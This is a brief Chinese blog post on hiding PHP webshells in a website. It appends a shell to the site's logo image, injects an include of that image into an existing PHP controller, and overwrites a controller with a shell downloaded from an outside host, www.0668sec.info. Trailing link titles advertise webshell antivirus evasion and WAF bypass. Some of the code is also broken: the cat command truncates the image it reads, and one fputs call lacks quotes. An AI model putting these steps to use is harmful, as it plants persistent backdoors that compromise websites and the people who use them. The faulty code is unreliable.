php隐藏WEBSHELL技巧

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php隐藏WEBSHELL技巧相关的知识,希望对你有一定的参考价值。

把shell添加到网站logo图片里:

cat logo.png shell.php > logo.png

 

在网站任意一个php文件里添加下面的最简单方法:

fputs(fopen(/home/www/html/orderpost/Ordernk/Home/Controller/EncryptController.classs.php,w),<?php include "upload/logo.png";?>));

 

还可以下载远程的shell:

fputs(fopen(‘/home/www/html/orderpost/Ordernk/Home/Controller/EncryptController.classs.php‘,‘w‘),file_get_contents(‘http://www.0668sec.info/utf8.txt‘));

 

以上是关于php隐藏WEBSHELL技巧的主要内容,如果未能解决你的问题,请参考以下文章

绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

php免杀木马的技巧

不可不学!一些webshell免杀的技巧

如何在命令长度受限的情况下成功get到webshell(函数参数受限突破mysql的骚操作)

Webshell免杀绕过waf

php.webshell.eval有啥用?